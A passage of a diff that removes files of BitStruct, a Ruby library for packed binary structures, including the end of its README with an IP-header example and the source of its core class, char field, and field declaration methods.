* BitStruct inherits from String, so all the usual methods are available, and string-sharing (copy-on-write) is in effect.
|
||||
|
||||
* Easy access to a "prototype" instance of each BitStruct subclass, from which all instances of that subclass are initialized as a copy (in the absence of other initialization parameters, such as a hash, a string, or a block). See BitStruct.initial_value, and BitStruct#initialize. See Example, below.
|
||||
|
||||
* Easy conversion to and from hashes, using BitStruct#to_h and BitStruct.new.
|
||||
|
||||
* BitStructs can persist using Marshal (a BitStruct is after all just a string) or using YAML (with human readable representation of the fields).
|
||||
|
||||
* Includes tests, examples, and rdoc API documentation.
|
||||
|
||||
== Limitations
|
||||
|
||||
* Fields that are not aligned on byte boundaries may cross no more than two bytes boundaries. (See examples/byte-bdy.rb.)
|
||||
|
||||
* No variable length fields (except the #rest field).
|
||||
|
||||
== Future plans
|
||||
|
||||
* Currently, the library is written in pure ruby. The implementation uses Array#pack and String#unpack calls, as well as shifting and masking in pure ruby. Future versions will optionally generate a customized C extension for better efficiency.
|
||||
|
||||
* A debug mode in which a class identifier is prepended to every BitStruct, so that protocol errors can be detected. (This feature has been implemented in an app that uses BitStruct, but needs to be refactored into the BitStruct library itself.)
|
||||
|
||||
* Remove field size and alignment limitations.
|
||||
|
||||
== Example
|
||||
|
||||
An IP packet can be defined and used like this:
|
||||
|
||||
require 'bit-struct'
|
||||
|
||||
class IP < BitStruct
|
||||
unsigned :ip_v, 4, "Version"
|
||||
unsigned :ip_hl, 4, "Header length"
|
||||
unsigned :ip_tos, 8, "TOS"
|
||||
unsigned :ip_len, 16, "Length"
|
||||
unsigned :ip_id, 16, "ID"
|
||||
unsigned :ip_off, 16, "Frag offset"
|
||||
unsigned :ip_ttl, 8, "TTL"
|
||||
unsigned :ip_p, 8, "Protocol"
|
||||
unsigned :ip_sum, 16, "Checksum"
|
||||
octets :ip_src, 32, "Source addr"
|
||||
octets :ip_dst, 32, "Dest addr"
|
||||
rest :body, "Body of message"
|
||||
|
||||
note " rest is application defined message body"
|
||||
|
||||
initial_value.ip_v = 4
|
||||
initial_value.ip_hl = 5
|
||||
end
|
||||
|
||||
ip = IP.new
|
||||
ip.ip_tos = 0
|
||||
ip.ip_len = 0
|
||||
ip.ip_id = 0
|
||||
ip.ip_off = 0
|
||||
ip.ip_ttl = 255
|
||||
ip.ip_p = 255
|
||||
ip.ip_sum = 0
|
||||
ip.ip_src = "192.168.1.4"
|
||||
ip.ip_dst = "192.168.1.255"
|
||||
ip.body = "This is the payload text."
|
||||
ip.ip_len = ip.length
|
||||
|
||||
puts ip.inspect
|
||||
puts "-"*50
|
||||
puts ip.inspect_detailed
|
||||
puts "-"*50
|
||||
puts IP.describe
|
||||
|
||||
(Note that you can also construct an IP packet by passing a string to new, or by passing a hash of <tt>field,value</tt> pairs, or by providing a block that is yielded the new BitStruct.)
|
||||
|
||||
The output of this fragment is:
|
||||
|
||||
#<IP ip_v=4, ip_hl=5, ip_tos=0, ip_len=45, ip_id=0, ip_off=0, ip_ttl=255, ip_p=255, ip_sum=0, ip_src="192.168.1.4", ip_dst="192.168.1.255", body="This is the payload text.">
|
||||
--------------------------------------------------
|
||||
IP:
|
||||
Version = 4
|
||||
Header length = 5
|
||||
TOS = 0
|
||||
Length = 45
|
||||
ID = 0
|
||||
Frag offset = 0
|
||||
TTL = 255
|
||||
Protocol = 255
|
||||
Checksum = 0
|
||||
Source addr = "192.168.1.4"
|
||||
Dest addr = "192.168.1.255"
|
||||
Body of message = "This is the payload text."
|
||||
--------------------------------------------------
|
||||
|
||||
Description of IP Packet:
|
||||
byte: type name [size] description
|
||||
----------------------------------------------------------------------
|
||||
@0: unsigned ip_v [ 4b] Version
|
||||
@0: unsigned ip_hl [ 4b] Header length
|
||||
@1: unsigned ip_tos [ 8b] TOS
|
||||
@2: unsigned ip_len [ 16b] Length
|
||||
@4: unsigned ip_id [ 16b] ID
|
||||
@6: unsigned ip_off [ 16b] Frag offset
|
||||
@8: unsigned ip_ttl [ 8b] TTL
|
||||
@9: unsigned ip_p [ 8b] Protocol
|
||||
@10: unsigned ip_sum [ 16b] Checksum
|
||||
@12: octets ip_src [ 32b] Source addr
|
||||
@16: octets ip_dst [ 32b] Dest addr
|
||||
rest is application defined message body
|
||||
|
||||
== Web site
|
||||
|
||||
The current version of this software can be found at http://redshift.sourceforge.net/bit-struct.
|
||||
|
||||
== License
|
||||
|
||||
This software is distributed under the Ruby license. See http://www.ruby-lang.org.
|
||||
|
||||
== Author
|
||||
|
||||
Joel VanderWerf, mailto:vjoel@users.sourceforge.net
|
||||
Copyright (c) 2005-2009, Joel VanderWerf.
|
||||
@@ -1,575 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
# Class for packed binary data, with defined bitfields and accessors for them.
|
||||
# See {intro.txt}[link:../doc/files/intro_txt.html] for an overview.
|
||||
#
|
||||
# Data after the end of the defined fields is accessible using the +rest+
|
||||
# declaration. See examples/ip.rb. Nested fields can be declared using +nest+.
|
||||
# See examples/nest.rb.
|
||||
#
|
||||
# Note that all string methods are still available: length, grep, etc.
|
||||
# The String#replace method is useful.
|
||||
#
|
||||
class BitStruct < String
|
||||
VERSION = "0.13.6"
|
||||
|
||||
class Field
|
||||
# Offset of field in bits.
|
||||
attr_reader :offset
|
||||
|
||||
# Length of field in bits.
|
||||
attr_reader :length
|
||||
alias size length
|
||||
|
||||
# Name of field (used for its accessors).
|
||||
attr_reader :name
|
||||
|
||||
# Options, such as :default (varies for each field subclass).
|
||||
# In general, options can be provided as strings or as symbols.
|
||||
attr_reader :options
|
||||
|
||||
# Display name of field (used for printing).
|
||||
attr_reader :display_name
|
||||
|
||||
# Default value.
|
||||
attr_reader :default
|
||||
|
||||
# Format for printed value of field.
|
||||
attr_reader :format
|
||||
|
||||
# Subclasses can override this to define a default for all fields of this
|
||||
# class, not just the one currently being added to a BitStruct class, a
|
||||
# "default default" if you will. The global default, if #default returns
|
||||
# nil, is to fill the field with zero. Most field classes just let this
|
||||
# default stand. The default can be overridden per-field when a BitStruct
|
||||
# class is defined.
|
||||
def self.default; nil; end
|
||||
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= name[/\w+$/]
|
||||
end
|
||||
|
||||
# Used in describe. Can be overridden per-subclass, as in NestedField.
|
||||
def class_name
|
||||
self.class.class_name
|
||||
end
|
||||
|
||||
# Yield the description of this field, as an array of 5 strings: byte
|
||||
# offset, type, name, size, and description. The opts hash may have:
|
||||
#
|
||||
# :expand :: if the value is true, expand complex fields
|
||||
#
|
||||
# (Subclass implementations may yield more than once for complex fields.)
|
||||
#
|
||||
def describe opts
|
||||
bits = size
|
||||
if bits > 32 and bits % 8 == 0
|
||||
len_str = "%dB" % (bits/8)
|
||||
else
|
||||
len_str = "%db" % bits
|
||||
end
|
||||
|
||||
byte_offset = offset / 8 + (opts[:byte_offset] || 0)
|
||||
|
||||
yield ["@%d" % byte_offset, class_name, name, len_str, display_name]
|
||||
end
|
||||
|
||||
# Options are _display_name_, _default_, and _format_ (subclasses of Field
|
||||
# may add other options).
|
||||
def initialize(offset, length, name, opts = {})
|
||||
@offset, @length, @name, @options =
|
||||
offset, length, name, opts
|
||||
|
||||
@display_name = opts[:display_name] || opts["display_name"]
|
||||
@default = opts[:default] || opts["default"] || self.class.default
|
||||
@format = opts[:format] || opts["format"]
|
||||
end
|
||||
|
||||
# Inspect the value of this field in the specified _obj_.
|
||||
def inspect_in_object(obj, opts)
|
||||
val = obj.send(name)
|
||||
str =
|
||||
begin
|
||||
val.inspect(opts)
|
||||
rescue ArgumentError # assume: "wrong number of arguments (1 for 0)"
|
||||
val.inspect
|
||||
end
|
||||
(f=@format) ? (f % str) : str
|
||||
end
|
||||
|
||||
# Normally, all fields show up in inspect, but some, such as padding,
|
||||
# should not.
|
||||
def inspectable?; true; end
|
||||
end
|
||||
|
||||
NULL_FIELD = Field.new(0, 0, :null, :display_name => "null field")
|
||||
|
||||
# Raised when a field is added after an instance has been created. Fields
|
||||
# cannot be added after this point.
|
||||
class ClosedClassError < StandardError; end
|
||||
|
||||
# Raised if the chosen field name is not allowed, either because another
|
||||
# field by that name exists, or because a method by that name exists.
|
||||
class FieldNameError < StandardError; end
|
||||
|
||||
@default_options = {}
|
||||
|
||||
@initial_value = nil
|
||||
@closed = nil
|
||||
@rest_field = nil
|
||||
@note = nil
|
||||
|
||||
class << self
|
||||
def inherited cl
|
||||
cl.instance_eval do
|
||||
@initial_value = nil
|
||||
@closed = nil
|
||||
@rest_field = nil
|
||||
@note = nil
|
||||
end
|
||||
end
|
||||
|
||||
# ------------------------
|
||||
# :section: field access methods
|
||||
#
|
||||
# For introspection and metaprogramming.
|
||||
#
|
||||
# ------------------------
|
||||
|
||||
# Return the list of fields for this class.
|
||||
def fields
|
||||
@fields ||= self == BitStruct ? [] : superclass.fields.dup
|
||||
end
|
||||
|
||||
# Return the list of fields defined by this class, not inherited
|
||||
# from the superclass.
|
||||
def own_fields
|
||||
@own_fields ||= []
|
||||
end
|
||||
|
||||
# Add a field to the BitStruct (usually, this is only used internally).
|
||||
def add_field(name, length, opts = {})
|
||||
round_byte_length ## just to make sure this has been calculated
|
||||
## before adding anything
|
||||
|
||||
name = name.to_sym
|
||||
|
||||
if @closed
|
||||
raise ClosedClassError, "Cannot add field #{name}: " +
|
||||
"The definition of the #{self.inspect} BitStruct class is closed."
|
||||
end
|
||||
|
||||
if fields.find {|f|f.name == name}
|
||||
raise FieldNameError, "Field #{name} is already defined as a field."
|
||||
end
|
||||
|
||||
if instance_methods(true).find {|m| m == name}
|
||||
if opts[:allow_method_conflict] || opts["allow_method_conflict"]
|
||||
warn "Field #{name} is already defined as a method."
|
||||
else
|
||||
raise FieldNameError,"Field #{name} is already defined as a method."
|
||||
end
|
||||
end
|
||||
|
||||
field_class = opts[:field_class]
|
||||
|
||||
prev = fields[-1] || NULL_FIELD
|
||||
offset = prev.offset + prev.length
|
||||
field = field_class.new(offset, length, name, opts)
|
||||
field.add_accessors_to(self)
|
||||
fields << field
|
||||
own_fields << field
|
||||
@bit_length += field.length
|
||||
@round_byte_length = (bit_length/8.0).ceil
|
||||
|
||||
if @initial_value
|
||||
diff = @round_byte_length - @initial_value.length
|
||||
if diff > 0
|
||||
@initial_value << "\0" * diff
|
||||
end
|
||||
end
|
||||
|
||||
field
|
||||
end
|
||||
|
||||
def parse_options(ary, default_name, default_field_class) # :nodoc:
|
||||
opts = ary.grep(Hash).first || {}
|
||||
opts = default_options.merge(opts)
|
||||
|
||||
opts[:display_name] = ary.grep(String).first || default_name
|
||||
opts[:field_class] = ary.grep(Class).first || default_field_class
|
||||
|
||||
opts
|
||||
end
|
||||
|
||||
# Get or set the hash of default options for the class, which apply to all
|
||||
# fields. Changes take effect immediately, so can be used alternatingly with
|
||||
# blocks of field declarations. If +h+ is provided, update the default
|
||||
# options with that hash. Default options are inherited.
|
||||
#
|
||||
# This is especially useful with the <tt>:endian => val</tt> option.
|
||||
def default_options h = nil
|
||||
@default_options ||= superclass.default_options.dup
|
||||
if h
|
||||
@default_options.merge! h
|
||||
end
|
||||
@default_options
|
||||
end
|
||||
|
||||
# Length, in bits, of this object.
|
||||
def bit_length
|
||||
@bit_length ||= fields.inject(0) {|a, f| a + f.length}
|
||||
end
|
||||
|
||||
# Length, in bytes (rounded up), of this object.
|
||||
def round_byte_length
|
||||
@round_byte_length ||= (bit_length/8.0).ceil
|
||||
end
|
||||
|
||||
def closed! # :nodoc:
|
||||
@closed = true
|
||||
end
|
||||
|
||||
def field_by_name name
|
||||
@field_by_name ||= {}
|
||||
field = @field_by_name[name]
|
||||
unless field
|
||||
field = fields.find {|f| f.name == name}
|
||||
@field_by_name[name] = field if field
|
||||
end
|
||||
field
|
||||
end
|
||||
end
|
||||
|
||||
# Return the list of fields for this class.
|
||||
def fields
|
||||
self.class.fields
|
||||
end
|
||||
|
||||
# Return the rest field for this class.
|
||||
def rest_field
|
||||
self.class.rest_field
|
||||
end
|
||||
|
||||
# Return the field with the given name.
|
||||
def field_by_name name
|
||||
self.class.field_by_name name
|
||||
end
|
||||
|
||||
# ------------------------
|
||||
# :section: metadata inspection methods
|
||||
#
|
||||
# Methods to textually describe the format of a BitStruct subclass.
|
||||
#
|
||||
# ------------------------
|
||||
|
||||
class << self
|
||||
# Default format for describe. Fields are byte, type, name, size,
|
||||
# and description.
|
||||
DESCRIBE_FORMAT = "%8s: %-12s %-14s[%4s] %s"
|
||||
|
||||
# Can be overridden to use a different format.
|
||||
def describe_format
|
||||
DESCRIBE_FORMAT
|
||||
end
|
||||
|
||||
# Textually describe the fields of this class of BitStructs.
|
||||
# Returns a printable table (array of line strings), based on +fmt+,
|
||||
# which defaults to #describe_format, which defaults to +DESCRIBE_FORMAT+.
|
||||
def describe(fmt = nil, opts = {})
|
||||
if fmt.kind_of? Hash
|
||||
opts = fmt; fmt = nil
|
||||
end
|
||||
|
||||
if block_given?
|
||||
fields.each do |field|
|
||||
field.describe(opts) do |desc|
|
||||
yield desc
|
||||
end
|
||||
end
|
||||
nil
|
||||
|
||||
else
|
||||
fmt ||= describe_format
|
||||
|
||||
result = []
|
||||
|
||||
unless opts[:omit_header]
|
||||
result << fmt % ["byte", "type", "name", "size", "description"]
|
||||
result << "-"*70
|
||||
end
|
||||
|
||||
fields.each do |field|
|
||||
field.describe(opts) do |desc|
|
||||
result << fmt % desc
|
||||
end
|
||||
end
|
||||
|
||||
unless opts[:omit_footer]
|
||||
result << @note if @note
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
end
|
||||
|
||||
# Subclasses can use this to append a string (or several) to the #describe
|
||||
# output. Notes are not cumulative with inheritance. When used with no
|
||||
# arguments simply returns the note string
|
||||
def note(*str)
|
||||
@note = str unless str.empty?
|
||||
@note
|
||||
end
|
||||
end
|
||||
|
||||
# ------------------------
|
||||
# :section: initialization and conversion methods
|
||||
#
|
||||
# ------------------------
|
||||
|
||||
# Initialize the string with the given string or bitstruct, or with a hash of
|
||||
# field=>value pairs, or with the defaults for the BitStruct subclass, or
|
||||
# with an IO or other object with a #read method. Fields can be strings or
|
||||
# symbols. Finally, if a block is given, yield the instance for modification
|
||||
# using accessors.
|
||||
def initialize(value = nil) # :yields: instance
|
||||
self << self.class.initial_value
|
||||
|
||||
case value
|
||||
when Hash
|
||||
value.each do |k, v|
|
||||
send "#{k}=", v
|
||||
end
|
||||
|
||||
when nil
|
||||
|
||||
else
|
||||
if value.respond_to?(:read)
|
||||
value = value.read(self.class.round_byte_length)
|
||||
end
|
||||
|
||||
self[0, value.length] = value
|
||||
end
|
||||
|
||||
self.class.closed!
|
||||
yield self if block_given?
|
||||
end
|
||||
|
||||
DEFAULT_TO_H_OPTS = {
|
||||
:convert_keys => :to_sym,
|
||||
:include_rest => true
|
||||
}
|
||||
|
||||
# Returns a hash of {name=>value,...} for each field. By default, include
|
||||
# the rest field.
|
||||
# Keys are symbols derived from field names using +to_sym+, unless
|
||||
# <tt>opts[:convert_keys]<\tt> is set to some other method name.
|
||||
def to_h(opts = DEFAULT_TO_H_OPTS)
|
||||
converter = opts[:convert_keys] || :to_sym
|
||||
|
||||
fields_for_to_h = fields
|
||||
if opts[:include_rest] and (rest_field = self.class.rest_field)
|
||||
fields_for_to_h += [rest_field]
|
||||
end
|
||||
|
||||
fields_for_to_h.inject({}) do |h,f|
|
||||
h[f.name.send(converter)] = send(f.name)
|
||||
h
|
||||
end
|
||||
end
|
||||
|
||||
# Returns an array of values of the fields of the BitStruct. By default,
|
||||
# include the rest field.
|
||||
def to_a(include_rest = true)
|
||||
ary =
|
||||
fields.map do |f|
|
||||
send(f.name)
|
||||
end
|
||||
|
||||
if include_rest and (rest_field = self.class.rest_field)
|
||||
ary << send(rest_field.name)
|
||||
end
|
||||
ary
|
||||
end
|
||||
|
||||
## temporary hack for 1.9
|
||||
if "a"[0].kind_of? String
|
||||
def [](*args)
|
||||
if args.size == 1 and args[0].kind_of?(Fixnum)
|
||||
super.ord
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
def []=(*args)
|
||||
if args.size == 2 and (i=args[0]).kind_of?(Fixnum)
|
||||
super(i, args[1].chr)
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class << self
|
||||
# The unique "prototype" object from which new instances are copied.
|
||||
# The fields of this instance can be modified in the class definition
|
||||
# to set default values for the fields in that class. (Otherwise, defaults
|
||||
# defined by the fields themselves are used.) A copy of this object is
|
||||
# inherited in subclasses, which they may override using defaults and
|
||||
# by writing to the initial_value object itself.
|
||||
#
|
||||
# If called with a block, yield the initial value object before returning
|
||||
# it. Useful for customization within a class definition.
|
||||
#
|
||||
def initial_value # :yields: the initial value
|
||||
unless @initial_value
|
||||
iv = defined?(superclass.initial_value) ?
|
||||
superclass.initial_value.dup : ""
|
||||
if iv.length < round_byte_length
|
||||
iv << "\0" * (round_byte_length - iv.length)
|
||||
end
|
||||
|
||||
@initial_value = "" # Serves as initval while the real initval is inited
|
||||
@initial_value = new(iv)
|
||||
@closed = false # only creating the first _real_ instance closes.
|
||||
|
||||
fields.each do |field|
|
||||
@initial_value.send("#{field.name}=", field.default) if field.default
|
||||
end
|
||||
end
|
||||
yield @initial_value if block_given?
|
||||
@initial_value
|
||||
end
|
||||
|
||||
# Take +data+ (a string or BitStruct) and parse it into instances of
|
||||
# the +classes+, returning them in an array. The classes can be given
|
||||
# as an array or a separate arguments. (For parsing a string into a _single_
|
||||
# BitStruct instance, just use the #new method with the string as an arg.)
|
||||
def parse(data, *classes)
|
||||
classes.flatten.map do |c|
|
||||
c.new(data.slice!(0...c.round_byte_length))
|
||||
end
|
||||
end
|
||||
|
||||
# Join the given structs (array or multiple args) as a string.
|
||||
# Actually, the inherited String#+ instance method is the same, as is using
|
||||
# Array#join.
|
||||
def join(*structs)
|
||||
structs.flatten.map {|struct| struct.to_s}.join("")
|
||||
end
|
||||
end
|
||||
|
||||
# ------------------------
|
||||
# :section: inspection methods
|
||||
#
|
||||
# ------------------------
|
||||
|
||||
DEFAULT_INSPECT_OPTS = {
|
||||
:format => "#<%s %s>",
|
||||
:field_format => "%s=%s",
|
||||
:separator => ", ",
|
||||
:field_name_meth => :name,
|
||||
:include_rest => true,
|
||||
:brackets => ["[", "]"],
|
||||
:include_class => true,
|
||||
:simple_format => "<%s>"
|
||||
}
|
||||
|
||||
DETAILED_INSPECT_OPTS = {
|
||||
:format => "%s:\n%s",
|
||||
:field_format => "%30s = %s",
|
||||
:separator => "\n",
|
||||
:field_name_meth => :display_name,
|
||||
:include_rest => true,
|
||||
:brackets => [nil, "\n"],
|
||||
:include_class => true,
|
||||
:simple_format => "\n%s"
|
||||
}
|
||||
|
||||
# A standard inspect method which does not add newlines.
|
||||
def inspect(opts = DEFAULT_INSPECT_OPTS)
|
||||
field_format = opts[:field_format]
|
||||
field_name_meth = opts[:field_name_meth]
|
||||
|
||||
fields_for_inspect = fields.select {|field| field.inspectable?}
|
||||
if opts[:include_rest] and (rest_field = self.class.rest_field)
|
||||
fields_for_inspect << rest_field
|
||||
end
|
||||
|
||||
ary = fields_for_inspect.map do |field|
|
||||
field_format %
|
||||
[field.send(field_name_meth),
|
||||
field.inspect_in_object(self, opts)]
|
||||
end
|
||||
|
||||
body = ary.join(opts[:separator])
|
||||
|
||||
if opts[:include_class]
|
||||
opts[:format] % [self.class, body]
|
||||
else
|
||||
opts[:simple_format] % body
|
||||
end
|
||||
end
|
||||
|
||||
# A more visually appealing inspect method that puts each field/value on
|
||||
# a separate line. Very useful when output is scrolling by on a screen.
|
||||
#
|
||||
# (This is actually a convenience method to call #inspect with the
|
||||
# DETAILED_INSPECT_OPTS opts.)
|
||||
def inspect_detailed
|
||||
inspect(DETAILED_INSPECT_OPTS)
|
||||
end
|
||||
|
||||
# ------------------------
|
||||
# :section: field declaration methods
|
||||
#
|
||||
# ------------------------
|
||||
|
||||
# Define accessors for a variable length substring from the end of
|
||||
# the defined fields to the end of the BitStruct. The _rest_ may behave as
|
||||
# a String or as some other String or BitStruct subclass.
|
||||
#
|
||||
# This does not add a field, which is useful because a superclass can have
|
||||
# a rest method which accesses subclass data. In particular, #rest does
|
||||
# not affect the #round_byte_length class method. Of course, any data
|
||||
# in rest does add to the #length of the BitStruct, calculated as a string.
|
||||
# Also, _rest_ is not inherited.
|
||||
#
|
||||
# The +ary+ argument(s) work as follows:
|
||||
#
|
||||
# If a class is provided, use it for the Field class (String by default).
|
||||
# If a string is provided, use it for the display_name (+name+ by default).
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
# *Warning*: the rest reader method returns a copy of the field, so
|
||||
# accessors on that returned value do not affect the original rest field.
|
||||
#
|
||||
def self.rest(name, *ary)
|
||||
if @rest_field
|
||||
raise ArgumentError, "Duplicate rest field: #{name.inspect}."
|
||||
end
|
||||
|
||||
opts = parse_options(ary, name, String)
|
||||
offset = round_byte_length
|
||||
byte_range = offset..-1
|
||||
class_eval do
|
||||
field_class = opts[:field_class]
|
||||
define_method name do ||
|
||||
field_class.new(self[byte_range])
|
||||
end
|
||||
|
||||
define_method "#{name}=" do |val|
|
||||
self[byte_range] = val
|
||||
end
|
||||
|
||||
@rest_field = Field.new(offset, -1, name, {
|
||||
:display_name => opts[:display_name],
|
||||
:rest_class => field_class
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
# Not included with the other fields, but accessible separately.
|
||||
def self.rest_field; @rest_field; end
|
||||
end
|
||||
@@ -1,49 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
class BitStruct
|
||||
# Class for fixed length binary strings of characters.
|
||||
# Declared with BitStruct.char.
|
||||
class CharField < Field
|
||||
#def self.default
|
||||
# don't define this, since it must specify N nulls and we don't know N
|
||||
#end
|
||||
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "char"
|
||||
end
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
unless offset % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad offset, #{offset}, for #{self.class} #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
unless length % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad length, #{length}, for #{self.class} #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
offset_byte = offset / 8
|
||||
length_byte = length / 8
|
||||
last_byte = offset_byte + length_byte - 1
|
||||
byte_range = offset_byte..last_byte
|
||||
val_byte_range = 0..length_byte-1
|
||||
|
||||
cl.class_eval do
|
||||
define_method attr do ||
|
||||
self[byte_range].to_s
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = val.to_s
|
||||
if val.length < length_byte
|
||||
val += "\0" * (length_byte - val.length)
|
||||
end
|
||||
self[byte_range] = val[val_byte_range]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,301 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
class BitStruct
|
||||
class << self
|
||||
# Define a char string field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _length_ (in bits). Trailing nulls _are_
|
||||
# considered part of the string.
|
||||
#
|
||||
# If a class is provided, use it for the Field class.
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
# Note that the accessors have COPY semantics, not reference.
|
||||
#
|
||||
def char(name, length, *rest)
|
||||
opts = parse_options(rest, name, CharField)
|
||||
add_field(name, length, opts)
|
||||
end
|
||||
alias string char
|
||||
BitStruct.autoload :CharField, "bit-struct/char-field"
|
||||
|
||||
# Define a floating point field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _length_ (in bits).
|
||||
#
|
||||
# If a class is provided, use it for the Field class.
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
# The <tt>:endian => :native</tt> option overrides the default of
|
||||
# <tt>:network</tt> byte ordering, in favor of native byte ordering. Also
|
||||
# permitted are <tt>:big</tt> (same as <tt>:network</tt>) and
|
||||
# <tt>:little</tt>.
|
||||
#
|
||||
def float name, length, *rest
|
||||
opts = parse_options(rest, name, FloatField)
|
||||
add_field(name, length, opts)
|
||||
end
|
||||
BitStruct.autoload :FloatField, "bit-struct/float-field"
|
||||
|
||||
# Define an octet string field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _length_ (in bits). Trailing nulls are
|
||||
# not considered part of the string. The field is accessed using
|
||||
# period-separated hex digits.
|
||||
#
|
||||
# If a class is provided, use it for the Field class.
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
def hex_octets(name, length, *rest)
|
||||
opts = parse_options(rest, name, HexOctetField)
|
||||
add_field(name, length, opts)
|
||||
end
|
||||
BitStruct.autoload :HexOctetField, "bit-struct/hex-octet-field"
|
||||
|
||||
# Define a nested field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _nested_class_. Length is determined from
|
||||
# _nested_class_.
|
||||
#
|
||||
# If a class is provided, use it for the Field class (i.e. <=NestedField).
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
# For example:
|
||||
#
|
||||
# class Sub < BitStruct
|
||||
# unsigned :x, 8
|
||||
# end
|
||||
#
|
||||
# class A < BitStruct
|
||||
# nest :n, Sub
|
||||
# end
|
||||
#
|
||||
# a = A.new
|
||||
#
|
||||
# p a # ==> #<A n=#<Sub x=0>>
|
||||
#
|
||||
# If a block is given, use it to define the nested fields. For example, the
|
||||
# following is equivalent to the above example:
|
||||
#
|
||||
# class A < BitStruct
|
||||
# nest :n do
|
||||
# unsigned :x, 8
|
||||
# end
|
||||
# end
|
||||
#
|
||||
# WARNING: the accessors have COPY semantics, not reference. When you call a
|
||||
# reader method to get the nested structure, you get a *copy* of that data.
|
||||
# Expressed in terms of the examples above:
|
||||
#
|
||||
# # This fails to set x in a.
|
||||
# a.n.x = 3
|
||||
# p a # ==> #<A n=#<Sub x=0>>
|
||||
#
|
||||
# # This works
|
||||
# n = a.n
|
||||
# n.x = 3
|
||||
# a.n = n
|
||||
# p a # ==> #<A n=#<Sub x=3>>
|
||||
#
|
||||
def nest(name, *rest, &block)
|
||||
nested_class = rest.grep(Class).find {|cl| cl <= BitStruct}
|
||||
rest.delete nested_class
|
||||
opts = parse_options(rest, name, NestedField)
|
||||
nested_class = opts[:nested_class] ||= nested_class
|
||||
|
||||
unless (block and not nested_class) or (nested_class and not block)
|
||||
raise ArgumentError,
|
||||
"nested field must have either a nested_class option or a block," +
|
||||
" but not both"
|
||||
end
|
||||
|
||||
unless nested_class
|
||||
nested_class = Class.new(BitStruct)
|
||||
nested_class.class_eval(&block)
|
||||
end
|
||||
|
||||
opts[:default] ||= nested_class.initial_value.dup
|
||||
opts[:nested_class] = nested_class
|
||||
field = add_field(name, nested_class.bit_length, opts)
|
||||
field
|
||||
end
|
||||
alias struct nest
|
||||
BitStruct.autoload :NestedField, "bit-struct/nested-field"
|
||||
|
||||
# Define an octet string field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _length_ (in bits). Trailing nulls are
|
||||
# not considered part of the string. The field is accessed using
|
||||
# period-separated decimal digits.
|
||||
#
|
||||
# If a class is provided, use it for the Field class.
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
def octets(name, length, *rest)
|
||||
opts = parse_options(rest, name, OctetField)
|
||||
add_field(name, length, opts)
|
||||
end
|
||||
BitStruct.autoload :OctetField, "bit-struct/octet-field"
|
||||
|
||||
# Define a padding field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _length_ (in bits).
|
||||
#
|
||||
# If a class is provided, use it for the Field class.
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
def pad(name, length, *rest)
|
||||
opts = parse_options(rest, name, PadField)
|
||||
add_field(name, length, opts)
|
||||
end
|
||||
alias padding pad
|
||||
BitStruct.autoload :PadField, "bit-struct/pad-field"
|
||||
|
||||
# Define a signed integer field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _length_ (in bits).
|
||||
#
|
||||
# If a class is provided, use it for the Field class.
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
# SignedField adds the <tt>:fixed => divisor</tt> option, which specifies
|
||||
# that the internally stored value is interpreted as a fixed point real
|
||||
# number with the specified +divisor+.
|
||||
#
|
||||
# The <tt>:endian => :native</tt> option overrides the default of
|
||||
# <tt>:network</tt> byte ordering, in favor of native byte ordering. Also
|
||||
# permitted are <tt>:big</tt> (same as <tt>:network</tt>) and
|
||||
# <tt>:little</tt>.
|
||||
#
|
||||
def signed name, length, *rest
|
||||
opts = parse_options(rest, name, SignedField)
|
||||
add_field(name, length, opts)
|
||||
end
|
||||
BitStruct.autoload :SignedField, "bit-struct/signed-field"
|
||||
|
||||
# Define a printable text string field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _length_ (in bits). Trailing nulls are
|
||||
# _not_ considered part of the string.
|
||||
#
|
||||
# If a class is provided, use it for the Field class.
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
# Note that the accessors have COPY semantics, not reference.
|
||||
#
|
||||
def text(name, length, *rest)
|
||||
opts = parse_options(rest, name, TextField)
|
||||
add_field(name, length, opts)
|
||||
end
|
||||
BitStruct.autoload :TextField, "bit-struct/text-field"
|
||||
|
||||
# Define a unsigned integer field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _length_ (in bits).
|
||||
#
|
||||
# If a class is provided, use it for the Field class.
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
